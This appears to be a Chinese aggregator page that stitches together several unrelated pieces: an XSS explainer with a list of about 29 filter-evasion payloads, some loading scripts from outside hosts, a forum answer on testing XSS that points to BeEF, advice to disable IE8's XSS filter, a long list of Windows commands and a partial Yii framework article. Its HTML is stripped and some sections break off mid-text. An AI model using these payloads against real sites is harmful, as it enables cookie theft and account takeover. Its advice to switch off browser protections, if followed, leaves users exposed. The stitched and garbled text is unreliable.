XSS攻击如何实现以及保护Web站点免受跨站点脚本攻击
使用工具和测试防范跨站点脚本攻击. 跨站点脚本(XSS)攻击是当今主要的攻击途径之一,利用了Web站点的漏洞并使用浏览器来窃取cookie或进行金融交易。跨站点脚本漏洞比较常见,并且要求组织部署涵盖威胁建模、扫描工具和大量安全意识在内的周密的安全开发生命周期,以便达到最佳的XSS防护和预防。本文解释了跨站点脚本攻击是如何实现并且就如何保护企业Web应用免于这种攻击提供了建议。 跨站点脚本(XSS)允许攻击者通过利用因特网服务器的漏洞来发送恶意代码到其他用户。攻击者利用跨站点脚本(XSS)攻击向那些看似可信任的链接中注入恶意代码。当用户点击了链接后,内嵌的程序将被提交并且会在用户的电脑上执行,这会使黑客获取访问权限并偷走敏感数据。攻击者使用XSS来攻击受害者机器上的漏洞并且传输恶意代码而不是攻击系统本身。 通过用户输入的数据返回错误消息的Web表格,攻击者可以修改控制Web页面的HTML代码。黑客能够在垃圾信息中的链接里插入代码或者使用欺诈邮件来诱使用户对其身份产生信任。 例如攻击者可以发送带有URL的邮件给受害人,这个URL指向一个Web站点并且提供浏览器脚本作为输入;或者在博客或诸如Facebook、Twitter这样的社交网站上发布恶意URL链接。当用户点击这个链接时,该恶意站点以及脚本将会在其浏览器上运行。浏览器不知道脚本是恶意的并将盲目地运行这个程序,这转而允许攻击者的浏览器脚本使用站点的功能来窃取cookie或者冒充合法的用户来完成交易。 一些通常的跨站点脚本预防的最佳实践包括在部署前测试应用代码,并且以快速、简明的方式修补缺陷和漏洞。Web应用开发人员应该过滤用户的输入来移除可能的恶意字符和浏览器脚本,并且植入用户输入过滤代码来移除恶意字符。通常管理员也可以配置浏览器只接受来自信任站点的脚本或者关闭浏览器的脚本功能,尽管这样做可能导致使用Web站点的功能受限。 随着时代的进步黑客们变得更加先进,使用收集的工具集来加快漏洞攻击进程。这意味着仅仅部署这些通常的XSS预防实践是不够的,保护和预防过程必须从底层开始并持续提升。预防过程必须在开发阶段开始,建立在一个牢靠、安全的开发生命周期方法论之上的Web应用在发布版本中不太可能暴露出漏洞。这样以来,不仅提升了安全性,也改善了可用性而且缩减了维护的总体费用,因为在现场环境中修补问题比在开发阶段会花费更多。 威胁建模在XSS预防中也是重要的一个方面,应该纳入到每个组织的安全开发生命周期当中。威胁建模评估和辨识在开发阶段中应用程序面临的所有的风险,来帮助Web开发人员更好地理解需要什么样的保护以及攻击一旦得逞将对组织产生怎样的影响。要辨识一个特定应用的威胁级别,考虑它的资产以及它访问的敏感信息量是十分重要的。这个威胁建模过程将确保在应用的设计和开发过程中战略性地融合了安全因素,并且增强了Web开发人员的安全意识。 对于大型项目的Web开发人员来说,源代码扫描工具和Web应用漏洞扫描器是提高效率和减少工作量的通常选择。
哪有放XSS跨站脚本工具的第三方工具/
不修改网站程序,使用第三方工具来防范XSS跨站式脚本攻击
网站要怎么防范常见的XSS跨站式脚本攻击呢,我们先从XSS跨站式脚本攻击的原理来说起。
网站遭受XSS跨站式脚本攻击的基本原理
1.本地利用漏洞,这种漏洞存在于页面中客户端脚本自身。
其攻击过程如下所示:
A给B发送一个恶意构造了Web的URL。
B点击并查看了这个URL。
恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在B电脑上。
具有漏洞的HTML页面包含了在B电脑本地域执行的JavaScript。
A的恶意脚本可以在B的电脑上执行B所持有的权限下的命令。
2反射式漏洞,这种漏洞和本地利用漏洞有些类似,不同的是Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中。
其攻击过程如下:
A经常浏览某个网站,此网站为B所拥有。B的站点运行A使用用户名/密码进行登录,并存储敏感信息(比如银行帐户信息)。
C发现B的站点包含反射性的XSS漏洞。
C编写一个利用漏洞的URL,并将其冒充为来自B的邮件发送给A。
A在登录到B的站点后,浏览C提供的URL。
嵌入到URL中的恶意脚本在A的浏览器中执行,就像它直接来自B的服务器一样。此脚本盗窃敏感信息(授权、信用卡、帐号信息等)然后在A完全不知情的情况下将这些信息发送到C的Web站点。
3存储式漏洞,该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞,骇客将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。
其攻击过程如下:
B拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。
C注意到B的站点具有存储式的XXS漏洞。
C发布一个热点信息,吸引其它用户纷纷阅读。
B或者是任何的其他人如A浏览该信息,其会话cookies或者其它信息将被C盗走。
类型A直接威胁用户个体,而类型B和存储式漏洞所威胁的对象都是企业级Web应用。
网站遭受XSS跨站式脚本攻击的基本方式
1. DOM-based cross-site scripting
页面本身包含一些DOM对象的操作,如果未对输入的参数进行处理,可能会导致执行恶意脚本。如下面一些DOM操作:
document.URL
document.URLUnencoded
document.location (and many of its properties)
document.referrer
window.location (and many of its properties)
举个例子,假如某个脆弱的页面的代码如下:
HTML
TITLEWelcome!/TITLE
Hi
SCRIPT
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
/SCRIPT
BR
Welcome to our system
…
/HTML
攻击者使用如下的URL访问时,则非常危险:
http://www.vulnerable.site/welcome.html?name=scriptalert(document.cookie)/script
试了一下,貌似IE、FireFox等浏览器默认 对scriptalert(document.cookie)/script进行了编码,阻止了脚本的执行。但是对于 DOM操作还是要更加谨慎啊,比如把上面的页面修改一下,安全性就增强了不少:
SCRIPT
var pos=document.URL.indexOf("name=")+5;
var name=document.URL.substring(pos,document.URL.length);
if (name.match(/^[a-zA-Z0-9]$/))
{
document.write(name);
}
else
{
window.alert("Security error");
}
/SCRIPT
2. Reflected cross-site scripting
也被称为None-Persistent cross-site scripting,即,非持久化的XSS攻击,是我们通常所说的,也是最常用,使用最广的一种方式。它通过给别人发送带有恶意脚本代码参数的URL,当 URL地址被打开时,特有的恶意代码参数被HTML解析、执行。它的特点是非持久化,必须用户点击带有特定参数的链接菜能引起。
3. Persistent cross-site scripting
持久化XSS攻击,指的是恶意脚本代码被存储进被攻击的数据库,当其他用户正常浏览网页时,站点从数据库中读取了非法用户存入非法数据,恶意脚本代码被执行。这种攻击类型通常在留言板等地方出现。
实施方式
我们来试一把Reflected cross-site scripting。当我们在某网站输入参数XXX,发现参数XXX原样的出现在了页面源码中:
1. input type="text" class="c3bc-b6dd-b9cf-6e16 Seach" name="w" value="XXX" /
OK,可以开始做文章了,我们将XXX替换为:abc"/scriptalert('haha')/scripta href=",返回的HTML代码如下:
1. input type="text" class="b6dd-b9cf-6e16-df74 Seach" name="w" value="abc"/
2. scriptalert('haha')/script!--" /
这样,scriptalert('haha')/script被执行了。这里再举例一些XSS攻击行为:
1. IMG SRC="javascript:alert('XSS');"
2. IMG SRC=javascript:alert('XSS')
3. IMG SRC="javascript:alert(String.fromCharCode(88,83,83))"
4. IMG SRC="jav ascript:alert('XSS');"
5. SCRIPT/XSS SRC="http://example.com/xss.js"/SCRIPT
6. SCRIPTalert("XSS");///SCRIPT
7. iframe src=http://example.com/scriptlet.html
8. INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"
9. BODY BACKGROUND="javascript:alert('XSS')"
10. BODY ONLOAD=alert(document.cookie)
11. BODY onload!#$%()*~+-_.,:;?@[/|"]^`=alert("XSS")
12. IMG DYNSRC="javascript:alert('XSS')"
13. IMG DYNSRC="javascript:alert('XSS')"
14. BR SIZE="{alert('XSS')}"
15. IMG SRC='vbscript:msgbox("XSS")'
16. TABLE BACKGROUND="javascript:alert('XSS')"
17. DIV STYLE="width: expression(alert('XSS'));"
18. DIV STYLE="background-image: url(javascript:alert('XSS'))"
19. STYLE TYPE="text/javascript"alert('XSS');/STYLE
20. STYLE type="text/css"BODY{background:url("javascript:alert('XSS')")}/STYLE
21. ?='SCRIPTalert("XSS")/SCRIPT'?
22. A HREF="javascript:document.location='http://www.example.com/'"XSS/A
23. IMG SRC=javascript:alert('XSS')
24. EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"/EMBED
25. a="get";
26. b="URL(""";
27. c="javascript:";
28. d="alert('XSS');"")";
29. eval(a+b+c+d);
总结一下,要防止XSS跨站式脚本攻击主要是要在查询字符串(QueryString),表单数据(PostData)以及Cookie甚至HTTP报头(Header)中防止掉一些javascript关键字和一些敏感的字符(单引号,分号)以及SQL语言的关键字,以及防止他们使用encode编码。
用ASP或者PHP脚本来实现上面的这些想起来就很麻烦。下面就来介绍下用一个第三方工具IISUTM来处理上面我们说到的问题。
准备工作:先去www.iisutm.com下载最新的IISUTM版本。
根据IISUTM网站防火墙安装及操作手册 中的说明把IISUTM部署到你的服务器上来,这里需要注意的是使用Windows 2003+iis6的服务器,需要开启iis中“以IIS5.0 隔离模式运行 www 服务”选项才能正常使用该软件。
安装完成,通过浏览器访问IISUTM的配置管理界面默认的是http://127.0.0.1:8362,这个是私有地址,只能在该服务器上访问,你需要任何地方都能访问的话,可以在安装的时候IP地址的选项那里填入你服务器的公网IP地址,和你所开放的端口。这样你就可以通过你配置的地址进行访问,或者你可以在iis中直接管理名为IISUTM的站点。
登陆管理界面后点击上面导航栏中的“基本设置”,然后点击左边菜单的“防XSS攻击”链接。
开启该链接里所有的选项,选中之后IISUTM会自动保存配置,下面的“使用不允许的发送序列”是该软件提供的XSS攻击关键字的特征库,你可以根据你网站的情况进行更改(最好不要修改)。
确认以上的配置以后,你可以返回到IISUTM管理界面的首页,这里会列出最近服务器遭受到的攻击以及详细,赶紧去看看你的网站是不是随时有人在进行SQL注入吧,以及哪些攻击被IISUTM处理掉了。
IE8中xss筛选器禁用后会有什么后果
从IE8开始就有XSS筛选器,主要用于防御反射型跨站攻击,且是默认开启的。但由于它那暴力的检测方式(正则匹配)经常会影响到网站的正常业务功能,我想受此困扰的人一定不少,所以我建议大家都把它给关了。
如果是站长请使用X-XSS-Protection响应头关闭:
X-XSS-Protection: 0;
X-XSS-Protection 是用于控制IE的XSS筛选器用的HTTP 响应字段头。
如果你没有权利更改网站设置,那么你可以:
打开IE-菜单栏-安全-Internet-自定义级别-脚本-启用XSS筛选器-关闭-确定.
如何测试XSS漏洞
XSS跨站漏洞分为大致三种:储存型XSS,反射型XSS,和DOM型XSS,一般都是由于网站对用户输入的参数过滤不严格而调用浏览器的JS而产生的。XSS几乎每个网站都存在,google,百度,360等都存在,存在和危害范围广,危害安全性大。
具体利用的话:
储存型XSS,一般是构造一个比如说"scriptalert("XSS")/script"的JS的弹窗代码进行测试,看是否提交后在页面弹窗,这种储存型XSS是被写入到页面当中的,如果管理员不处理,那么将永久存在,这种XSS攻击者可以通过留言等提交方式,把恶意代码植入到服务器网站上, 一般用于盗取COOKIE获取管理员的信息和权限。
反射型XSS,一般是在浏览器的输入栏也就是urlget请求那里输入XSS代码,例如:127.0.0.1/admin.php?key="scriptalert("xss")/script,也是弹窗JS代码。当攻击者发送一个带有XSS代码的url参数给受害者,那么受害者可能会使自己的cookie被盗取或者“弹框“,这种XSS一次性使用,危害比储存型要小很多。
dom型:常用于挖掘,是因为api代码审计不严所产生的,这种dom的XSS弹窗可利用和危害性并不是很大,大多用于钓鱼。比起存储型和反射型,DOM型并不常用。
缺点:
1、耗时间
2、有一定几率不成功
3、没有相应的软件来完成自动化攻击
4、前期需要基本的html、js功底,后期需要扎实的html、js、actionscript2/3.0等语言的功底
5、是一种被动的攻击手法
6、对website有http-only、crossdomian.xml没有用
所以楼主如果想更加深层次的学习XSS的话,最好有扎实的前后端开发基础,还要学会代码审计等等。
推荐的话,书籍建议看看《白帽子讲web安全》,《XSS跨站脚本攻击剖析与防御》
一般配合的话,kalilinux里面的BEFF是个很著名的XSS漏洞利用工具,楼主有兴趣可以去看看。
纯手工打字,望楼主采纳。
如何关闭跨站点脚本 (XSS) 筛选器
这个错误是由于 IE8 的跨站脚本(Cross-site scripting, XSS)防护阻止了跨站发送的请求。
点击 IE8 的“工具”-“Internet 选项”,进入“安全”选项卡,打开“Internet”下方的“自定义级别”,在“安全设置”对话框中找到“启用 XSS 筛选器”,改为“禁用”即可。
黑客攻击
gpedit.msc-----组策略 sndrec32-------录音机
Nslookup-------IP地址侦测器 explorer-------打开资源管理器
logoff---------注销命令 tsshutdn-------60秒倒计时关机命令
lusrmgr.msc----本机用户和组 services.msc---本地服务设置
oobe/msoobe /a----检查XP是否激活 notepad--------打开记事本
cleanmgr-------垃圾整理 net start messenger----开始信使服务
compmgmt.msc---计算机管理 net stop messenger-----停止信使服务
conf-----------启动netmeeting dvdplay--------DVD播放器
charmap--------启动字符映射表 diskmgmt.msc---磁盘管理实用程序
calc-----------启动计算器 dfrg.msc-------磁盘碎片整理程序
chkdsk.exe-----Chkdsk磁盘检查 devmgmt.msc--- 设备管理器
regsvr32 /u *.dll----停止dll文件运行 drwtsn32------ 系统医生
rononce -p ----15秒关机 dxdiag---------检查DirectX信息
regedt32-------注册表编辑器 Msconfig.exe---系统配置实用程序
rsop.msc-------组策略结果集 mem.exe--------显示内存使用情况
regedit.exe----注册表 winchat--------XP自带局域网聊天
progman--------程序管理器 winmsd---------系统信息
perfmon.msc----计算机性能监测程序 winver---------检查Windows版本
sfc /scannow-----扫描错误并复原 winipcfg-------IP配置
taskmgr-----任务管理器(2000/xp/2003) command--------cmd
fsmgmt.msc 共享文件夹 netstat -an----查看端口
osk 屏幕键盘 install.asp----修改注册网页
eventvwr.msc 时间查看器
secpol.msc 本地安全设置
services.msc 服务
2K
accwiz.exe 辅助工具向导
acsetups.exe acs setup dcom server executable
actmovie.exe 直接显示安装工具
append.exe 允许程序打开制定目录中的数据
arp.exe 显示和更改计算机的ip与硬件物理地址的对应列表
at.exe 计划运行任务
atmadm.exe 调用管理器统计
attrib.exe 显示和更改文件和文件夹属性
autochk.exe 检测修复文件系统
autoconv.exe 在启动过程中自动转化系统
autofmt.exe 在启动过程中格式化进程
autolfn.exe 使用长文件名格式
bootok.exe boot acceptance application for registry
bootvrfy.exe 通报启动成功
cacls.exe 显示和编辑acl
calc.exe 计算器
cdplayer.exe cd播放器
change.exe 与终端服务器相关的查询
charmap.exe 字符映射表
chglogon.exe 启动或停用会话记录
chgport.exe 改变端口(终端服务)
chgusr.exe 改变用户(终端服务)
chkdsk.exe 磁盘检测程序
chkntfs.exe 磁盘检测程序
cidaemon.exe 组成ci文档服务
cipher.exe 在ntfs上显示或改变加密的文件或目录
cisvc.exe 索引内容
ckcnv.exe 变换cookie
cleanmgr.exe 磁盘清理
cliconfg.exe sql客户网络工具
clipbrd.exe 剪贴簿查看器
clipsrv.exe 运行clipboard服务
clspack.exe 建立系统文件列表清单
cluster.exe 显示域的集群
_cmd_.exe 没什么好说的!
cmdl32.exe 自动下载连接管理
cmmgr32.exe 连接管理器
cmmon32.exe 连接管理器监视
cmstp.exe 连接管理器配置文件安装程序
comclust.exe 集群
comp.exe 比较两个文件和文件集的内容*
compact.exe 显示或改变ntfs分区上文件的压缩状态
conime.exe ime控制台
control.exe 控制面板
convert.exe 转换文件系统到ntfs
convlog.exe 转换iis曰志文件格式到ncsa格式
cprofile.exe 转换显示模式
cscript.exe 较本宿主版本
csrss.exe 客户服务器runtime进程
csvde.exe 曰至格式转换程序
dbgtrace.exe 和terminal server相关
dcomcnfg.exe dcom配置属性
dcphelp.exe ?
dcpromo.exe ad安装向导
ddeshare.exe dde共享
ddmprxy.exe
debug.exe 就是debug啦!
dfrgfat.exe fat分区磁盘碎片整理程序
dfrgntfs.exe ntfs分区磁盘碎片整理程序
dfs_cmd_.exe 配置一个dfs树
dfsinit.exe 分布式文件系统初始化
dfssvc.exe 分布式文件系统服务器
diantz.exe 制作cab文件
diskperf.exe 磁盘性能计数器
dllhost.exe 所有com+应用软件的主进程
dllhst3g.exe
dmadmin.exe 磁盘管理服务
dmremote.exe 磁盘管理服务的一部分
dns.exe dns applications dns
doskey.exe 命令行创建宏
dosx.exe dos扩展
dplaysvr.exe 直接运行帮助
drwatson.exe 华生医生错误检测
drwtsn32.exe 华生医生显示和配置管理
dtcsetup.exe installs mdtc
dvdplay.exe dvd播放
dxdiag.exe direct-x诊断工具
edlin.exe 命令行的文本编辑器(历史悠久啊!)
edlin.exe 命令行的文本编辑器(历史悠久啊!)
esentutl.exe ms数据库工具
eudcedit.exe type造字程序
eventvwr.exe 事件查看器
evnt_cmd_.exe event to trap translator; configuration tool
evntwin.exe event to trap translator setup
exe2bin.exe 转换exe文件到二进制
expand.exe 解压缩
extrac32.exe 解cab工具
fastopen.exe 快速访问在内存中的硬盘文件
faxcover.exe 传真封面编辑
faxqueue.exe 显示传真队列
faxsend.exe 发送传真向导
faxsvc.exe 启动传真服务
fc.exe 比较两个文件的不同
find.exe 查找文件中的文本行
findstr.exe 查找文件中的行
finger.exe 一个用户并显示出统计结果
fixmapi.exe 修复mapi文件
flattemp.exe 允许或者禁用临时文件目录
fontview.exe 显示字体文件中的字体
forcedos.exe forces a file to start in dos mode. 强制文件在dos模式下运行
freecell.exe popular windows game 空当接龙
ftp.exe file transfer protocol used to transfer files over a network conne
ction 就是ftp了
gdi.exe graphic device interface 图形界面驱动
grovel.exe
grpconv.exe program manager group convertor 转换程序管理员组
help.exe displays help for windows 2000 commands 显示帮助
hostname.exe display hostname for machine. 显示机器的hostname
ie4uinit.exe ie5 user install tool ie5用户安装工具
ieshwiz.exe customize folder wizard 自定义文件夹向导
iexpress.exe create and setup packages for install 穿件安装包
iisreset.exe restart iis admin service 重启iis服务
internat.exe keyboard language indicator applet 键盘语言指示器
ipconfig.exe windows 2000 ip configuration. 察看ip配置
ipsecmon.exe ip security monitor ip安全监视器
ipxroute.exe ipx routing and source routing control program ipx路由和源路由
控制程序
irftp.exe setup ftp for wireless communication 无线连接
ismserv.exe intersite messaging service 安装或者删除service control manage
r中的服务
jdbgmgr.exe microsoft debugger for java 4 java4的调试器
jetconv.exe convert a jet engine database 转换jet engine数据库
jetpack.exe compact jet database. 压缩jet数据库
jview.exe command-line loader for java java的命令行装载者
krnl386.exe core component for windows 2000 2000的核心组件
label.exe change label for drives 改变驱动器的卷标
lcwiz.exe license compliance wizard for local or remote systems. 许可证符合
向导
ldifde.exe ldif cmd line manager ldif目录交换命令行管理
licmgr.exe terminal server license manager 终端服务许可协议管理
lights.exe display connection status lights 显示连接状况
llsmgr.exe windows 2000 license manager 2000许可协议管理
llssrv.exe start the license server 启动许可协议服务器
lnkstub.exe
locator.exe rpc locator 远程定位
lodctr.exe load perfmon counters 调用性能计数
logoff.exe log current user off. 注销用户
lpq.exe displays status of a remote lpd queue 显示远端的lpd打印队列的状态,
显示被送到基于unix的服务器的打印任务
lpr.exe send a print job to a network printer. 重定向打印任务到网络中的打印
机。通常用于unix客户打印机将打印任务发送给连接了打印设备的nt的打印机服务器。
lsass.exe lsa executable and server dll 运行lsa和server的dll
lserver.exe specifies the new dns domain for the default server 指定默认se
rver新的dns域
os2.exe an os/2 warp server (os2 /o) os/2
os2srv.exe an os/2 warp server os/2
os2ss.exe an os/2 warp server os/2
osk.exe on screen keyboard 屏幕键盘
packager.exe windows 2000 packager manager 对象包装程序
pathping.exe combination of ping and tracert 包含ping和tracert的程序
pax.exe is a posix program and path names used as arguments must be specif
ied in posix format. use "//c/users/default" instead of "c:usersdefault."
启动便携式存档互换 (pax) 实用程序
pentnt.exe used to check the pentium for the floating point division error
. 检查pentium的浮点错误
perfmon.exe starts windows performance monitor 性能监视器
ping.exe packet internet groper 验证与远程计算机的连接
posix.exe used for backward compatibility with unix 用于兼容unix
print.exe cmd line used to print files 打印文本文件或显示打印队列的内容。
progman.exe program manager 程序管理器
proquota.exe profile quota program
psxss.exe posix subsystem application posix子系统应用程序
qappsrv.exe displays the available application terminal servers on the net
work
在网络上显示终端服务器可用的程序
qprocess.exe display information about processes local or remote 在本地或远
程显示进程的信息(需终端服务)
query.exe query termserver user process and sessions 查询进程和对话
quser.exe display information about a user logged on 显示用户登陆的信息(需
终端服务)
qwinsta.exe display information about terminal sessions. 显示终端服务的信息
rasadmin.exe start the remote access admin service 启动远程访问服务
rasautou.exe creates a ras connection 建立一个ras连接
rasdial.exe dial a connection 拨号连接
ras.exe starts a ras connection 运行ras连接
rcp.exe copies a file from and to a rcp service. 在 windows 2000 计算机和运
行远程外壳端口监控程序 rshd 的系统之间复制文件
rdpclip.exe rdpclip allows you to copy and paste files between a terminal
session and client console session. 再终端和本地复制和粘贴文件
recover.exe recovers readable information from a bad or defective disk 从坏
的或有缺陷的磁盘中恢复可读取的信息。
redir.exe starts the redirector service 运行重定向服务
regedt32.exe 32-bit register service 32位注册服务
regini.exe modify registry permissions from within a script 用脚本修改注册
许可
register.exe register a program so it can have special execution character
istics. 注册包含特殊运行字符的程序
regsvc.exe
regsvr32.exe registers and unregister"s dll"s. as to how and where it regi
ster"s them i dont know. 注册和反注册dll
regtrace.exe options to tune debug options for applications failing to dum
p trace statements
trace 设置
regwiz.exe registration wizard 注册向导
remrras.exe
replace.exe replace files 用源目录中的同名文件替换目标目录中的文件。
reset.exe reset an active section 重置活动部分
rexec.exe runs commands on remote hosts running the rexec service. 在运行
rexec 服务的远程计算机上运行命令。rexec 命令在执行指定命令前,验证远程计算机
上的用户名,只有安装了 tcp/ip 协议后才可以使用该命令。
risetup.exe starts the remote installation service wizard. 运行远程安装向导
服务
route.exe display or edit the current routing tables. 控制网络路由表
routemon.exe no longer supported 不再支持了!
router.exe router software that runs either on a dedicated dos or on an os
/2 system. route软件在 dos或者是os/2系统
rsh.exe runs commands on remote hosts running the rsh service 在运行 rsh 服
务的远程计算机上运行命令
rsm.exe mounts and configures remote system media 配置远程系统媒体
rsnotify.exe remote storage notification recall 远程存储通知回显
rsvp.exe resource reservation protocol 源预约协议
runas.exe run a program as another user 允许用户用其他权限运行指定的工具和
程序
rundll32.exe launches a 32-bit dll program 启动32位dll程序
runonce.exe causes a program to run during startup 运行程序再开始菜单中
rwinsta.exe reset the session subsystem hardware and software to known ini
tial values 重置会话子系统硬件和软件到最初的值
savedump.exe does not write to e:winntuser.dmp 不写入user.dmp中
scardsvr.exe smart card resource management server 子能卡资源管理服务器
schupgr.exe it will read the schema update files (.ldf files) and upgrade
the schema. (part of adsi) 读取计划更新文件和更新计划
secedit.exe starts security editor help 自动安全性配置管理
services.exe controls all the services 控制所有服务
sethc.exe set high contrast - changes colours and display mode logoff to s
et it back to normal 设置高对比
setreg.exe shows the software publishing state key values 显示软件发布的国
家语言
setup.exe gui box prompts you to goto control panel to configure system co
mponents 安装程序(转到控制面板)
setver.exe set version for files 设置 ms-dos 子系统向程序报告的 ms-dos 版本
号
sfc.exe system file checker test and check system files for integrity 系统
文件检查
sfmprint.exe print services for macintosh 打印macintosh服务
sfmpsexe.exe
sfmsvc.exe
shadow.exe monitor another terminal services session. 监控另外一台中端服务
器会话
share.exe windows 2000 和 ms-dos 子系统不使用该命令。接受该命令只是为了与
ms-dos 文件兼容
shmgrate.exe
shrpubw.exe create and share folders 建立和共享文件夹
sigverif.exe file signature verification 文件签名验证
skeys.exe serial keys utility 序列号制作工具
smlogsvc.exe performance logs and alerts 性能曰志和警报
smss.exe
sndrec32.exe starts the windows sound recorder 录音机
sndvol32.exe display the current volume information 显示声音控制信息
snmp.exe simple network management protocol used for network mangement 简单
网络管理协议
snmptrap.exe utility used with snmp snmp工具
sol.exe windows solitaire game 纸牌
sort.exe compares files and folders 读取输入、排序数据并将结果写到屏幕、文
如何修复XSS跨站脚本漏洞
打开腾讯电脑管家——工具箱——修复漏洞,进行漏洞扫描和修复。
建议设置开启自动修复漏洞功能,开启后,电脑管家可以在发现高危漏洞(仅包括高危漏洞,不包括其它漏洞)时,第一时间自动进行修复,无需用户参与,最大程度保证用户电脑安全。尤其适合老人、小孩或计算机初级水平用户使用。开启方式如下:进入电脑管家“修复漏洞”模块—“设置”,点击开启自动修复漏洞即可。
安装codeception需要安装yii2吗
当 Yii框架仍处于 RC(候选版)阶段时,我们 对它进行过报道,那时它刚刚全面达到候选版本阶段,(现在它已经发布了正式版本)我们感觉是时候再次讨论这个话题:选择 Yii框架的原因。1. 易于安装对于web开发人员来说,时间就是金钱,没有人愿意把宝贵的时间花在一个复杂的安装和配置过程。安装处理使用Composer。如果你想要描述安装的过程,Sitepoint最近发表了一篇很棒的文章,在这儿。我倾向于使用基本的应用程序模板,即使我的网站有一个单独的前端和后端组件。相反,我选择使用一个模块给我的网站的后台部分。(Yii模块是最好的描述,小应用驻留在主应用程序里面)。注意:许多目录的引用在后面的示例中,从简单的模板去使用目录的结构。2. 利用现代技术Yii是一种纯粹的面向对象框架,并且利用PHP的一些更高级的功能,包括延迟静态绑定,SPL类和接口,和匿名函数。所有的类名称空间,它允许你利用PSR-4兼容的自动装载器。这意味着包括Yii 的 HTML的帮助类一样的简单:use yii\helpers\Html; Yii 也允许你定义别名来帮助简化你的命名空间。 在上面的示例中, use 语句将加载一个类定义,默认放的目录 /vendor/yiisoft/yii2/helpers. 这个别名在BaseYii 类在第79行中定义: public static $aliases = ['@yii' = __DIR__]; 框架本身的安装使用Composer,是其扩展。 甚至出版的过程扩展一样容易创建自己的 composer.json,并在Github托管代码,列出您的扩展在Packagist。3. 高度可扩展性Yii 看起来就像一件样式很棒的西装,但也非常容易根据你的需求来进行定制. 实际上框架的每一个组件都是可以扩展的。一个简单的示例就是添加一个唯一的主体ID到你的视图上。 (你如果对自己为什么可能会想要这样做感兴趣的话,可以看看这篇 文章).首先,我会在我的 app\components 目录相面创建一个名为 View.php 的文件, 并加入如下代码:namespace app\components; class View extends yii\web\View { public $bodyId; /* Yii allows you to add magic getter methods by prefacing method names with "get" */ public function getBodyIdAttribute() { return ($this-bodyId != '') ? 'id="' . $this-bodyId . '"' : ''; } } 然后,在我的主布局文件 (app\views\layouts\main.php) 中,我会将如下代码添加到我的HTML中body标签的里面:body ?=$this-BodyIdAttribute? 而最后,我会加下列的代码添加到我的主配置文件中,以便让Yii知道如何去使用我扩展的视图类,而不是它自己默认的那个类:return [ // ... 'components' = [ // ... 'view' = [ 'class' = 'app\components\View' ] ] ]; 4. 鼓励测试Yii 框架和Codeception框架紧密地集成在一起。 Codeception 是一个优秀的PHP测试框架,它帮助简化创建单元测试、功能验收测试的流程。 条件是你在为所有的应用程序编写自动化的测试用例,对吧?Codeception 扩展使得在测试时配置应用程序变得简单。 测试应用程序,只需编辑一个已存在的文件/tests/_config.php。例如:return [ 'components' = [ 'mail' = [ 'useFileTransport' = true, ], 'urlManager' = [ 'showScriptName' = true, ], 'db' = [ 'dsn' = 'mysql:host=localhost;dbname=mysqldb_test', ], ], ]; 使用上面的配置,需要注意下面一些事项:在功能验收测试期间,所有发送的邮件都会被写入一个文件中保存,而非真正地发送出去。 测试时URL的格式是index.php/controller/action,而非/controller/action。 测试时需要使用测试数据库,而非生产数据库。 Codeception 内部存在一个特殊的模块,专门用于Yii 框架测试。 它在TestGuy类里添加了一些方法,保证功能测试时 Active Record(Yii 的ORM)可以正常工作。 例如,如果你想查看注册表单是否成功地创建了一个用户名为testuser的User对象,你可以这样做:$I-amOnPage('register'); $I-fillField('username', 'testuser'); $I-fillField('password', 'qwerty'); $I-click('Register'); $I-seeRecord('app\models\User', array('name' = 'testuser')); 5. 简化的安全方案安全性是任何web应用的重要组成部分,幸运的是Yii有许多很棒的特性能帮你减轻负担.Yii 带来了一个安全性 应用程序组件,它暴露了一些可以帮助可以用来创建一个更加安全的应用程序的方法. 其中一些相对而言更加有用的方法有:generatePasswordHash: 从一个密码和一个随机的盐值生成一个安全的哈希值. 这个方法会为你创建一个随机的盐值,然后使用PHP的 crypt 函数来根据所提供的字符串创建一个哈希值.validatePassword: 这是一个可以同 generatePasswordHash 搭配使用的方法, 并可以让你检查用户提供的密码是否同你存储的哈希值匹配.generateRandomKey: 可逆让你创建一个任何长度的随机字符串Yii 会自动对所有非安全 HTTP 请求方法 (PUT, POST, DELETE) 的可用CSRF令牌进行检查, 并将在你使用 ActiveForm::begin() 方法创建你的开发表单标签时生成并输出一个令牌值. 这个特性可以通过编辑你的主配置文件,包含下面的代码来禁用:return [ 'components' = [ 'request' = [ 'enableCsrfValidation' = false, ] ]; 为了堤防跨站脚本XSS的攻击,Yii提供了另外一个叫做 HtmlPurifier 的辅助类. 这个类有一个名为 process 的静态方法, 而它将会使用同名的 流行过滤器库 来过滤你的输出.Yii 也包含了随时就绪的用于用户认证和授权的类. 授权被分成了两个类型: ACF (访问控制过滤器) 和RBAC (基于角色访问的控制).两者中更加的是 ACF, 其实现是通过在你控制器的添加下列的 行为 方法:use yii\filters\AccessControl; class DefaultController extends Controller { // ... public function behaviors() { return [ // ... 'class' = AccessControl::className(), 'only' = ['create', 'login', 'view'], 'rules' = [ [ 'allow' = true, 'actions' = ['login', 'view'], 'roles' = ['?'] ], [ 'allow' = true, 'actions' = ['create'], 'roles' = ['@'] ] ] ]; } // ... } 上面的代码会告诉 DefaultControllerto 让访客用户访问login和view的action, 而不是create这个action. (问号 ? 是匿名用户的别名, 而 @ 表示的是已经被授权的用户).RBAC 是一个可以在应用程序中指定那些用户可以执行特定的动作的强大方法. 它涉及为你的用户创建角色,为你的app定义权限,并然后为他们预期的角色使用这些角色. 如果你想要创建一个审核员(Moderator)的角色就可以使用这个方法, 并可以让所有分配到这个角色的用户可以对文章进行审核.你也还可以使用 RBAC 定义规则, 它可以让你在特定条件下针对你应用程序的某些方面进行授权. 例如,你可以创建一个规则让用户可以编辑他们自己的文章, 而不能修改由其他人创建的文章.6. 缩短开发时间大多数的项目都包含了重复的任务,没有人想把时间浪费在这些重复工作上面。Yii 